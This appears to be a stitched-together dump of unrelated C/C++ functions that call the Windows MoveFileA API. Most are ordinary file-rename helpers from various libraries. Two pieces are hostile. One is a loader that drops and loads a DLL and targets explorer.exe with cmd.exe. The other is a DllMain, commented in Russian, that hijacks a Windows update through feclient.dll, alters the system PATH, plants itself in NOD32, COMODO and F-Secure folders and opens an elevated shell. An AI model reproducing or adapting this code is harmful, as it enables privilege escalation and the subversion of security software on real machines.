/**************************************************************************************** TASK: Add a file to the hidden directory PRE : source - source of the file to add POST: File has been added to hidden directory ****************************************************************************************/ void BioModel::addFile(QString source) { char drive[_MAX_DRIVE]; char dir[_MAX_DIR]; char fname[_MAX_FNAME]; char ext[_MAX_EXT]; _splitpath_s(source.toStdString().c_str(), drive, dir, fname, ext); std::string outputDirectory = getCurrDirectory() + "\\bioguised-testfolder"; if(CreateDirectoryA(outputDirectory.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()){ std::stringstream stringStream; stringStream << outputDirectory << "\\" << fname << ext; std::string newFileLocation = stringStream.str(); LPCSTR destination = newFileLocation.c_str(); BOOL successful = MoveFileA(source.toStdString().c_str(), destination); if(!successful){ GetLastError(); } else { printf("Success!!!!!!!!"); } } else { printf("Destination File does not exist"); } }
/***************************************************************************** * FUNCTION * btmtk_fs_rename * DESCRIPTION * * PARAMETERS * srcName [IN] * destName [IN] * RETURNS * *****************************************************************************/ S32 btmtk_fs_rename(const U8 *srcName, const U8 *destName) { #ifdef BTMTK_ON_WISE /*----------------------------------------------------------------*/ /* Local Variables */ /*----------------------------------------------------------------*/ U16 ucs2_buf[FS_MAX_PATH_LEN] = {0}; /*----------------------------------------------------------------*/ /* Code Body */ /*----------------------------------------------------------------*/ bt_asc_str_n_to_ucs2_str((S8 *)pathBuf, (S8 *)srcName, FS_MAX_PATH_LEN * sizeof(U16)); bt_asc_str_n_to_ucs2_str((S8 *)ucs2_buf, (S8 *)destName, FS_MAX_PATH_LEN * sizeof(U16)); result = FS_Rename(srcName, destName); return translateFileError(result); #else /* BTMTK_ON_WISE */ U8 pathBuf2[FS_MAX_PATH_LEN] = {0}; translateFilePath(srcName, (U8 *)pathBuf); translateFilePath(destName, pathBuf2); #if defined(BTMTK_ON_LINUX) if (rename((char *)pathBuf, (char*)pathBuf2) == 0) #else if (FALSE != MoveFileA((char *)pathBuf, pathBuf2)) #endif { return BTMTK_FS_OK; } return BTMTK_FS_ERR; #endif /* BTMTK_ON_WISE */ }
static cell_t sm_RenameFile(IPluginContext *pContext, const cell_t *params) { char *newpath, *oldpath; int err; if ((err=pContext->LocalToString(params[1], &newpath)) != SP_ERROR_NONE) { pContext->ThrowNativeErrorEx(err, NULL); return 0; } if ((err=pContext->LocalToString(params[2], &oldpath)) != SP_ERROR_NONE) { pContext->ThrowNativeErrorEx(err, NULL); return 0; } char new_realpath[PLATFORM_MAX_PATH]; g_SourceMod.BuildPath(Path_Game, new_realpath, sizeof(new_realpath), "%s", newpath); char old_realpath[PLATFORM_MAX_PATH]; g_SourceMod.BuildPath(Path_Game, old_realpath, sizeof(old_realpath), "%s", oldpath); #ifdef PLATFORM_WINDOWS return (MoveFileA(old_realpath, new_realpath)) ? 1 : 0; #elif defined PLATFORM_POSIX return (rename(old_realpath, new_realpath)) ? 0 : 1; #endif }
/* * __win_fs_rename -- * Rename a file. */ static int __win_fs_rename(WT_FILE_SYSTEM *file_system, WT_SESSION *wt_session, const char *from, const char *to, uint32_t flags) { DWORD windows_error; WT_SESSION_IMPL *session; WT_UNUSED(file_system); WT_UNUSED(flags); session = (WT_SESSION_IMPL *)wt_session; /* * Check if file exists since Windows does not override the file if * it exists. */ if (GetFileAttributesA(to) != INVALID_FILE_ATTRIBUTES) if (DeleteFileA(to) == FALSE) { windows_error = __wt_getlasterror(); __wt_errx(session, "%s: file-rename: DeleteFileA: %s", to, __wt_formatmessage(session, windows_error)); return (__wt_map_windows_error(windows_error)); } if (MoveFileA(from, to) == FALSE) { windows_error = __wt_getlasterror(); __wt_errx(session, "%s to %s: file-rename: MoveFileA: %s", from, to, __wt_formatmessage(session, windows_error)); return (__wt_map_windows_error(windows_error)); } return (0); }
bool FileUtils::renameFile(const std::string &path, const std::string &oldname, const std::string &name) { CCASSERT(!path.empty(), "Invalid path"); std::string oldPath = path + oldname; std::string newPath = path + name; // Rename a file #if (CC_TARGET_PLATFORM == CC_PLATFORM_WIN32) std::regex pat("\\/"); std::string _old = std::regex_replace(oldPath, pat, "\\"); std::string _new = std::regex_replace(newPath, pat, "\\"); if(FileUtils::getInstance()->isFileExist(_new)) { DeleteFileA(_new.c_str()); } MoveFileA(_old.c_str(), _new.c_str()); if (0 == GetLastError()) return true; else return false; #else int errorCode = rename(oldPath.c_str(), newPath.c_str()); if (0 != errorCode) { CCLOGERROR("Fail to rename file %s to %s !Error code is %d", oldPath.c_str(), newPath.c_str(), errorCode); return false; } return true; #endif }
void FileImpl::renameToImpl(const std::string& path) { poco_assert (!_path.empty()); if (MoveFileA(_path.c_str(), path.c_str()) == 0) handleLastErrorImpl(_path); }
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP) { char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH]; if(0 == GetTempPathA(MAX_PATH, szTempPath)) return -1; if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath)) return false; if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0) return -1; if(isXP) { char dllName[MAX_PATH] = {0}; _snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll"); DeleteFileA(dllName); MoveFileA(szTempFilePath, dllName); LoadLibraryA(dllName); return 0; } HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return -1; tagPROCESSENTRY32 pe; ZeroMemory(&pe, sizeof(pe)); pe.dwSize = sizeof(pe); BOOL bPR = Process32First(hSnapshot, &pe); DWORD pid = 0; while(bPR) { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProc != 0) CloseHandle(hProc); if(strcmp(pe.szExeFile, "explorer.exe") == 0) { pid = pe.th32ProcessID; break; } bPR = Process32Next(hSnapshot, &pe); } wchar_t filename[MAX_PATH] = {0}; int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0); if(len < 0 || len > MAX_PATH) return -1; MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len); wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0}; wchar_t strOurDllPath[MAX_PATH] = {0}; GetSystemDirectoryW(szDir, sizeof(szDir)); GetSystemDirectoryW(szCmd, sizeof(szCmd)); wcscat(szCmd, L"\\cmd.exe"); GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH); AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename); return 0; }
bool FileSystem::FileMove(const String& source, const String& dest) const { String destFolder = GetParentPath(dest); if (!IsFolderExist(destFolder)) FolderCreate(destFolder); return MoveFileA(source.Data(), dest.Data()) == TRUE; }
static int sttSaveAvatar() { FILE* in; SHA1Context sha; // MD5Context md5; unsigned char buf[ 512 ]; char tFileName[ MAX_PATH ]; int i, pictureType; int bIsFirst = 1; struct _stat statbuf; uint8_t digest[20]; if (_stat(szFileName, &statbuf)) return 1; if (statbuf.st_size > 6 * 1024) return 1; TlenGetAvatarFileName( NULL, tFileName, sizeof tFileName ); if ( CopyFileA( szFileName, tFileName, FALSE ) == FALSE ) { JabberLog( "Copy failed with error %d", GetLastError() ); return 1; } SHA1Reset(&sha); // md5_init(&md5); in = fopen( tFileName, "rb" ); if ( in == NULL ) return 1; while( !feof( in )) { int bytes = fread( buf, 1, sizeof buf, in ); if ( bIsFirst ) { pictureType = JabberGetPictureType( buf ); bIsFirst = 0; } SHA1Input(&sha, buf, bytes); // md5_update(&md5, buf, bytes); } fclose( in ); if ( pictureType == PA_FORMAT_UNKNOWN ) return 1; SHA1Result(&sha, digest); // md5_finalize(&md5); for (i=0;i<20;i++) { // unsigned int val = (md5.state[i>>2] >> 8*(i%4)) & 0xFF; sprintf( buf+( i<<1 ), "%02x", digest[i]); } DBWriteContactSettingString(NULL, jabberProtoName, "AvatarHash", buf); DBWriteContactSettingDword(NULL, jabberProtoName, "AvatarFormat", pictureType); if (userAvatarHash != NULL) { free (userAvatarHash); userAvatarHash = NULL; } userAvatarHash = strdup(buf); userAvatarFormat = pictureType; TlenGetAvatarFileName(NULL, szFileName, MAX_PATH); if ( strcmp( szFileName, tFileName )) MoveFileA( tFileName, szFileName ); return 0; }
// 遍历JS文件 void TraversalPath(const char* lpszPath,const char * lpszFilePath, FILE *fp) { std::string dir = lpszPath; dir += "\\*.*"; WIN32_FIND_DATAA FindFileData; HANDLE hFind; hFind = FindFirstFileA(dir.c_str(), &FindFileData); if(hFind == INVALID_HANDLE_VALUE) return; do{ std::string fn = FindFileData.cFileName; if ((strcmp(fn.c_str(), ".") != 0) && (strcmp(fn.c_str(), "..") != 0) && (strcmp(fn.c_str(), ".svn") != 0)) { //为每个单独升级模块制作xxx.mchk完整性效验文件 /*if( isSpecial(FindFileData.cFileName) ) continue;*/ // 子目录 if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { std::string subDir = lpszPath; subDir = subDir + "\\" + fn; std::string filePath = lpszFilePath; filePath = filePath + "\\" + fn; // 迭代遍历子目录 TraversalPath(subDir.c_str(),filePath.c_str(),fp); } else // 文件 { // 如果是.mhs后缀的文件,进行加密 if (fn.find(".mhs") == fn.length() - 4) { /*std::string subFile = lpszPath; subFile = subFile + "\\" + fn;*/ std::string filePath = lpszPath; filePath = filePath + "\\" + fn; std::string strTemp = filePath + "tp"; EncrypJsFile(filePath.c_str(), strTemp.c_str()); DeleteFileA(filePath.c_str()); MoveFileA(strTemp.c_str(), filePath.c_str()); } } } }while (FindNextFileA(hFind, &FindFileData) != 0); FindClose(hFind); }
/* * Changes the name of a file path. */ int optk_rename(const char *src_path, const char *dest_path, int clobber) { #if defined OPTK_OS_WINDOWS DWORD dwFlags; #if !defined OPTK_OS_WIN64 if (OPTK_OS_WINDOWS_IS_WIN9X()) { /* MoveFileEx is not available under Win9X; use MoveFile. */ if (MoveFileA(src_path, dest_path)) return 0; if (!clobber) return -1; DeleteFileA(dest_path); return MoveFileA(src_path, dest_path) ? 0 : -1; } #endif dwFlags = clobber ? MOVEFILE_REPLACE_EXISTING : 0; return MoveFileExA(src_path, dest_path, dwFlags) ? 0 : -1; #elif defined OPTK_OS_UNIX if (!clobber) { if (access(dest_path, OPTK_TEST_FILE) >= 0) return -1; } return rename(src_path, dest_path); #else /* generic */ if (optk_test(dest_path, "e") > 0) { if (!clobber) return -1; optk_unlink(dest_path); } return rename(src_path, dest_path); #endif }
void CAddPackRuleDlg::OnBnClickedButtonModify() { CString strItem; GetDlgItem(IDC_EDIT_PACK_ITEMNAME)->GetWindowText(strItem); if(strItem.IsEmpty() ) { MessageBox(_T("没有选择修改项!")); return; } if( IDOK == MessageBox(_T("是否确认修改!"))) { //Xt:检测修改信息是否有误,取得输入信息 PACKRULEFILE PackRuleInfo; if(CheckEnterInfo(&PackRuleInfo)) { char strDeleteItemName[20] = {0}; //Xt:删除修改信息 CChangeCode::UnicodeToGB2312Code(strDeleteItemName,strItem.GetBuffer()); if(1 == CGlobalData::m_mapPackRuleFileInfo.erase(strDeleteItemName)) { //Xt: 创建文件副本以防丢失 char strDuplicateFile[MAX_PATH] = {0}; memcpy(strDuplicateFile,CGlobalData::m_strPackRulePath,strlen(CGlobalData::m_strPackRulePath)-4); strcat(strDuplicateFile,"Dup.txt"); MoveFileA(CGlobalData::m_strPackRulePath,strDuplicateFile); //Xt: 清空输入列表和控件内容 ClearControlInfo(); m_ListCtrl.DeleteAllItems(); //Xt: 添加修改后信息 CGlobalData::m_mapPackRuleFileInfo.insert(make_pair(PackRuleInfo.Item,PackRuleInfo)); //Xt: 从新创建包规则文件并存入信息 FILE *file = fopen(CGlobalData::m_strPackRulePath,"a"); int nRow = 0; map<string,PACKRULEFILE>::iterator pPackInfo = CGlobalData::m_mapPackRuleFileInfo.begin(); for(;pPackInfo != CGlobalData::m_mapPackRuleFileInfo.end(); ++pPackInfo) { CGlobalData::WritePackRuleFile(&(pPackInfo->second),file); AddListInfo(&(pPackInfo->second),nRow); nRow++; } //Xt: 移除副本文件,更新列表控件 remove(strDuplicateFile); fclose(file); m_ListCtrl.Update(false); } else { MessageBox(_T("无此项信息,不能修改\"ITEM\"项!")); } } } }
void VDMoveFile(const wchar_t *srcPath, const wchar_t *dstPath) { bool success; if (VDIsWindowsNT()) { success = MoveFileW(srcPath, dstPath) != 0; } else { success = MoveFileA(VDTextWToA(srcPath).c_str(), VDTextWToA(dstPath).c_str()) != 0; } if (!success) throw MyWin32Error("Cannot rename \"%ls\" to \"%ls\": %%s", GetLastError(), srcPath, dstPath); }
PRInt32 _PR_MD_RENAME(const char *from, const char *to) { /* Does this work with dot-relative pathnames? */ if (MoveFileA(from, to)) { return 0; } else { _PR_MD_MAP_RENAME_ERROR(GetLastError()); return -1; } }
int file_rename(std::string oldname, std::string newname) { DWORD result = MoveFileA(oldname.c_str(), newname.c_str()); switch(result) { case 0: return 0; break; default: return 1; break; } }
BOOL MoveFileExA (LPCSTR lpExistingFileName, LPCSTR lpNewFileName, DWORD dwFlags) { _dbus_assert (dwFlags == MOVEFILE_REPLACE_EXISTING); if (_dbus_file_exists (lpNewFileName)) { BOOL result = DeleteFileA (lpNewFileName); if (result == 0) return FALSE; } return MoveFileA (lpExistingFileName, lpNewFileName); }
bool FileUtils::renameFile(const std::string &path, const std::string &oldname, const std::string &name) { CCASSERT(!path.empty(), "Invalid path"); std::string oldPath = path + oldname; std::string newPath = path + name; // Rename a file #if (CC_TARGET_PLATFORM == CC_PLATFORM_WINRT) std::regex pat("\\/"); std::string _old = std::regex_replace(oldPath, pat, "\\"); std::string _new = std::regex_replace(newPath, pat, "\\"); if (MoveFileEx(std::wstring(_old.begin(), _old.end()).c_str(), std::wstring(_new.begin(), _new.end()).c_str(), MOVEFILE_REPLACE_EXISTING & MOVEFILE_WRITE_THROUGH)) { return true; } return false; #elif (CC_TARGET_PLATFORM == CC_PLATFORM_WIN32) std::regex pat("\\/"); std::string _old = std::regex_replace(oldPath, pat, "\\"); std::string _new = std::regex_replace(newPath, pat, "\\"); if(FileUtils::getInstance()->isFileExist(_new)) { if (!DeleteFileA(_new.c_str())) { CCLOGERROR("Fail to delete file %s !Error code is 0x%x", newPath.c_str(), GetLastError()); } } if (MoveFileA(_old.c_str(), _new.c_str())) { return true; } else { CCLOGERROR("Fail to rename file %s to %s !Error code is 0x%x", oldPath.c_str(), newPath.c_str(), GetLastError()); return false; } #else int errorCode = rename(oldPath.c_str(), newPath.c_str()); if (0 != errorCode) { CCLOGERROR("Fail to rename file %s to %s !Error code is %d", oldPath.c_str(), newPath.c_str(), errorCode); return false; } return true; #endif }
int _tmain(int argc, _TCHAR* argv[]) { if (argc > 1 && argv[1]) { char path[1000] {}; WideCharToMultiByte(CP_UTF8, 0, argv[1], -1, path, 1000, 0, 0); std::string out(path); out.append(".temp"); if (MoveFileA(path, out.c_str()) == TRUE) { Parse(out, path); DeleteFileA(out.c_str()); } } return 0; }
/**************************************************************************************** TASK: unhides file from hidden folder PRE : from - location of file to be moved to - location for file to be moved to POST: file moved to new location ****************************************************************************************/ void BioModel::unhideFile(QString from, QString to){ //TODO: Code for unhiding a file std::string source = from.toUtf8().toStdString(); std::string destination; char drive[_MAX_DRIVE]; char dir[_MAX_DIR]; char fname[_MAX_FNAME]; char ext[_MAX_EXT]; _splitpath_s(source.c_str(), drive, dir, fname, ext); destination = to.toUtf8().toStdString() + "\\" + fname + ext; if(!MoveFileA(source.c_str(), destination.c_str())){ printf ("unhideFile failed with error %d\n", GetLastError()); } }
bool UninstallDllFromSystem32(char *dst_filename) { char system32[MAX_PATH]; char dst_fullpath[MAX_PATH]; char bak_fullpath[MAX_PATH]; bool ret; if (Is64BitCode() || IsWow64() == false) { GetSystemDirectoryA(system32, sizeof(system32)); } else { GetSystemWow64DirectoryA(system32, sizeof(system32)); } SeStrCpy(dst_fullpath, sizeof(dst_fullpath), system32); SeStrCat(dst_fullpath, sizeof(dst_fullpath), "\\"); SeStrCat(dst_fullpath, sizeof(dst_fullpath), dst_filename); SeStrCpy(bak_fullpath, sizeof(bak_fullpath), dst_fullpath); SeStrCat(bak_fullpath, sizeof(bak_fullpath), ".bak"); LABEL_RETRY: ret = DeleteFileA(dst_fullpath); if (ret == false) { char tmp[MAX_SIZE]; wsprintfA(tmp, "Deleting the file \"%s\" failed.\r\n\r\n" "Make sure that there are no running programs using WinPcap DLL.", dst_fullpath); if (MessageBoxA(NULL, tmp, INSTALLER_TITLE, MB_ICONEXCLAMATION | MB_SYSTEMMODAL | MB_RETRYCANCEL) == IDRETRY) { goto LABEL_RETRY; } return false; } MoveFileA(bak_fullpath, dst_fullpath); return true; }
void CAddPackRuleDlg::OnBnClickedButtonDelete() { // TODO: 在此添加控件通知处理程序代码 CString strItem; GetDlgItem(IDC_EDIT_PACK_ITEMNAME)->GetWindowText(strItem); if(strItem.IsEmpty()) { MessageBox(_T("没有选择删除项!")); return; } if( IDOK == MessageBox(_T("是否确认删除!"))) { char strDeleteItemName[20] = {0}; //Xt: 删除列表中的要删除的值 CChangeCode::UnicodeToGB2312Code(strDeleteItemName,strItem.GetBuffer()); if(1 == CGlobalData::m_mapPackRuleFileInfo.erase(strDeleteItemName)) { //Xt: 创建文件副本以防丢失 char strDuplicateFile[MAX_PATH] = {0}; memcpy(strDuplicateFile,CGlobalData::m_strPackRulePath,strlen(CGlobalData::m_strPackRulePath)-4); strcat(strDuplicateFile,"Dup.txt"); MoveFileA(CGlobalData::m_strPackRulePath,strDuplicateFile); //Xt: 清空输入列表和控件内容 ClearControlInfo(); m_ListCtrl.DeleteAllItems(); //Xt: 从新创建包规则文件并存入信息 FILE *file = fopen(CGlobalData::m_strPackRulePath,"a"); int nRow = 0; map<string,PACKRULEFILE>::iterator pPackInfo = CGlobalData::m_mapPackRuleFileInfo.begin(); for(;pPackInfo != CGlobalData::m_mapPackRuleFileInfo.end(); ++pPackInfo) { CGlobalData::WritePackRuleFile(&(pPackInfo->second),file); AddListInfo(&(pPackInfo->second),nRow); nRow++; } //Xt: 移除副本文件,更新列表控件 remove(strDuplicateFile); fclose(file); m_ListCtrl.Update(false); } } }
/***************************************************************************************************\ * Функа DllMain; * дополнительная точка входа в подгружаемую динамически dll; * Вход: * (+) * Выход: * 1 - dll загрузилась; 0 - что-то пошло не так - и она будет выгружена системой; \***************************************************************************************************/ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hFile; char szMsg1[] = "Hello from DllMain!\r\n"; char szMsg2[MAX_PATH * 2] = "DllMain: "; DWORD numobw = 0; if(fdwReason == DLL_PROCESS_ATTACH) //длл запущена или был вызов этой длл через LoadLibrary; { hFile = CreateFileA(szLogName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); //создаём лог-файл (должна существовать папка C:\xlogs); if(hFile == INVALID_HANDLE_VALUE) { return 0; } GetModuleFileNameA(0, &szMsg2[strlen(szMsg2)], MAX_PATH); //получаем имя exe-файла, загрузившего нашу длл; if(strstr(szMsg2, "Windows-KB")) //если нашу длл загружает апдейт винды { if(ChangeRegKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path", ";C:\\xlogs")) { GetModuleFileNameA(GetModuleHandleA("feclient.dll"), szFileName, MAX_PATH); //получаем полный путь к нашей длл (наша длл должна иметь имя feclient.dll - как раз для того, чтобы быть подхваченной апейтом винды (ака dll hijacking)); CopyFileA(szFileName, "C:\\xlogs\\ppeset.dll", 0); //копируем её в данную папку с конкретным названием (for nod32); CopyFileA(szFileName, "C:\\Program Files\\COMODO\\COMODO Internet Security\\themes\\xnewdll.theme", 0); //for comodo MoveFileA("C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi2.dll"); //for f-secure; CopyFileA(szFileName, "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", 0); //for f-secure; CopyFileA(szFileName, "C:\\Program Files\\Internet Explorer\\xnewdll.dll", 0); //просто так) ShellExecuteA(NULL, "open", "C:\\WINDOWS\\System32\\cmd.exe", NULL, NULL, SW_SHOW); //вызываем командную строку (с админскими правами в случае успеха); } } strcat(szMsg2, "\r\n"); //переход на новую строку WriteFile(hFile, szMsg1, strlen(szMsg1), &numobw, 0); //пишем данные в лог-файл; SetFilePointer(hFile, 0, 0, FILE_END); //переходим в конец файла (на новую строку); WriteFile(hFile, szMsg2, strlen(szMsg2), &numobw, 0); //etc CloseHandle(hFile); } return 1; }
void deleteFileReliably(char *pathName) { if (DeleteFileA(pathName)) { return; } // File doesn't exist, nothing to do if (ERROR_FILE_NOT_FOUND == GetLastError()) { return; } // File can't be deleted, rename it and register pending deletion char tmpFilePrefix[sizeof(MT32EMU_DRIVER_NAME) + 1]; strncpy(tmpFilePrefix, MT32EMU_DRIVER_NAME, sizeof(MT32EMU_DRIVER_NAME)); strncat(tmpFilePrefix, ".", 1); char tmpDirName[MAX_PATH + 1]; constructSystemDirName(tmpDirName); char tmpPathName[MAX_PATH + 1]; GetTempFileNameA(tmpDirName, tmpFilePrefix, 0, tmpPathName); DeleteFileA(tmpPathName); MoveFileA(pathName, tmpPathName); MoveFileExA(tmpPathName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); }
BOOL MoveFileUTF8(LPCTSTR existfn, LPCTSTR newfn) { if ((WDL_HasUTF8(existfn)||WDL_HasUTF8(newfn)) AND_IS_NOT_WIN9X) { MBTOWIDE(wbuf,existfn); if (wbuf_ok) { MBTOWIDE(wbuf2,newfn); if (wbuf2_ok) { int rv=MoveFileW(wbuf,wbuf2); MBTOWIDE_FREE(wbuf2); MBTOWIDE_FREE(wbuf); return rv; } MBTOWIDE_FREE(wbuf2); } MBTOWIDE_FREE(wbuf); } return MoveFileA(existfn,newfn); }
BOOL MoveFileUTF8(LPCTSTR existfn, LPCTSTR newfn) { if ((WDL_HasUTF8(existfn)||WDL_HasUTF8(newfn)) && GetVersion()< 0x80000000) { MBTOWIDE(wbuf,existfn); if (wbuf_ok) { MBTOWIDE(wbuf2,newfn); if (wbuf2_ok) { int rv=MoveFileW(wbuf,wbuf2); MBTOWIDE_FREE(wbuf2); MBTOWIDE_FREE(wbuf); return rv; } MBTOWIDE_FREE(wbuf2); } MBTOWIDE_FREE(wbuf); } return MoveFileA(existfn,newfn); }
/* * Arguments: existing_path (string), new_path (string) * Returns: [boolean] */ static int sys_rename (lua_State *L) { const char *old = luaL_checkstring(L, 1); const char *new = luaL_checkstring(L, 2); int res; #ifndef _WIN32 sys_vm_leave(L); res = rename(old, new); sys_vm_enter(L); #else { void *os_old = utf8_to_filename(old); void *os_new = utf8_to_filename(new); if (!os_old || !os_new) { free(os_old); free(os_new); return sys_seterror(L, ERROR_NOT_ENOUGH_MEMORY); } sys_vm_leave(L); res = is_WinNT ? !MoveFileW(os_old, os_new) : !MoveFileA(os_old, os_new); free(os_old); free(os_new); sys_vm_enter(L); } #endif if (!res) { lua_pushboolean(L, 1); return 1; } return sys_seterror(L, 0); }
int savefile() { boost::shared_lock<boost::shared_mutex> lock(g_mutex, boost::defer_lock); lock.lock(); std::vector<std::string> vhash_inf(hasinf_list.size()); std::copy(hasinf_list.begin(), hasinf_list.end(), vhash_inf.begin()); hasinf_list.clear(); lock.unlock(); if (vhash_inf.size() <= 0) { return 0; } char buf[64] = {0}; _i64toa(time(0), buf, 10); std::string fileName = strTmpPath + buf + std::string(".t"); std::string fileName2 = strDataPath + buf + std::string(".t"); FILE *f = fopen(fileName.c_str(), "w+"); if (f == NULL) { return -1; } for (int i = 0; i < vhash_inf.size(); i++) { fprintf(f, "%s|", vhash_inf[i].c_str()); } fclose(f); MoveFileA(fileName.c_str(), fileName2.c_str()); return 0; }
/* * __wt_rename -- * Rename a file. */ int __wt_rename(WT_SESSION_IMPL *session, const char *from, const char *to) { WT_DECL_RET; uint32_t lasterror; char *from_path, *to_path; WT_RET(__wt_verbose( session, WT_VERB_FILEOPS, "rename %s to %s", from, to)); from_path = to_path = NULL; WT_RET(__wt_filename(session, from, &from_path)); WT_TRET(__wt_filename(session, to, &to_path)); /* * Check if file exists since Windows does not override the file if * it exists. */ if ((ret = GetFileAttributesA(to_path)) != INVALID_FILE_ATTRIBUTES) { if ((ret = DeleteFileA(to_path)) == FALSE) { lasterror = GetLastError(); goto err; } } if ((MoveFileA(from_path, to_path)) == FALSE) lasterror = GetLastError(); err: __wt_free(session, from_path); __wt_free(session, to_path); if (ret != FALSE) return (0); WT_RET_MSG(session, lasterror, "MoveFile %s to %s", from, to); }
//--------------------------------------------------------------------------- bool File::Move(const Ztring &Source, const Ztring &Destination, bool OverWrite) { if (OverWrite && Exists(Source)) Delete(Destination); #ifdef ZENLIB_USEWX if (OverWrite && Exists(Destination)) wxRemoveFile(Destination.c_str()); return wxRenameFile(Source.c_str(), Destination.c_str()); #else //ZENLIB_USEWX #ifdef ZENLIB_STANDARD return !std::rename(Source.To_Local().c_str(), Destination.To_Local().c_str()); #elif defined WINDOWS #ifdef UNICODE if (IsWin9X()) return MoveFileA(Source.To_Local().c_str(), Destination.To_Local().c_str())!=0; else return MoveFileW(Source.c_str(), Destination.c_str())!=0; #else return MoveFile(Source.c_str(), Destination.c_str())!=0; #endif //UNICODE #endif #endif //ZENLIB_USEWX }
int main(int argc, char *argv[]) { if (argc != 2 || stricmp(INSTALL_COMMAND, argv[1]) != 0 && stricmp(UNINSTALL_COMMAND, argv[1]) != 0) { MessageBoxA(NULL, "Usage:\n drvsetup install - install driver\n drvsetup uninstall - uninstall driver\n", "Information", MB_OK | MB_ICONINFORMATION); return 1; } if (stricmp(UNINSTALL_COMMAND, argv[1]) == 0) { UnregisterDriver(); char sysRoot[MAX_PATH]; char pathName[MAX_PATH]; GetEnvironmentVariableA("SYSTEMROOT", sysRoot, MAX_PATH); strncpy(pathName, sysRoot, MAX_PATH); strncat(pathName, "/SYSTEM32/mt32emu.dll", MAX_PATH); if (!DeleteFileA(pathName)) { // Driver can't be deleted, register pending deletion MoveFileExA(pathName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); } return 0; } char sysRoot[MAX_PATH]; char pathName[MAX_PATH]; char oldName[MAX_PATH]; GetEnvironmentVariableA("SYSTEMROOT", sysRoot, MAX_PATH); strncpy(pathName, sysRoot, MAX_PATH); strncat(pathName, "/SYSTEM32/mt32emu.dll", MAX_PATH); strncpy(oldName, sysRoot, MAX_PATH); strncat(oldName, "/SYSTEM32/mt32emu.old", MAX_PATH); DeleteFileA(oldName); MoveFileA(pathName, oldName); int setupPathLen = strrchr(argv[0], '\\') - argv[0]; strncpy(oldName, argv[0], setupPathLen); oldName[setupPathLen] = 0; strncat(oldName, "/mt32emu.dll", MAX_PATH); CopyFileA(oldName, pathName, FALSE); RegisterDriver(); return 0; }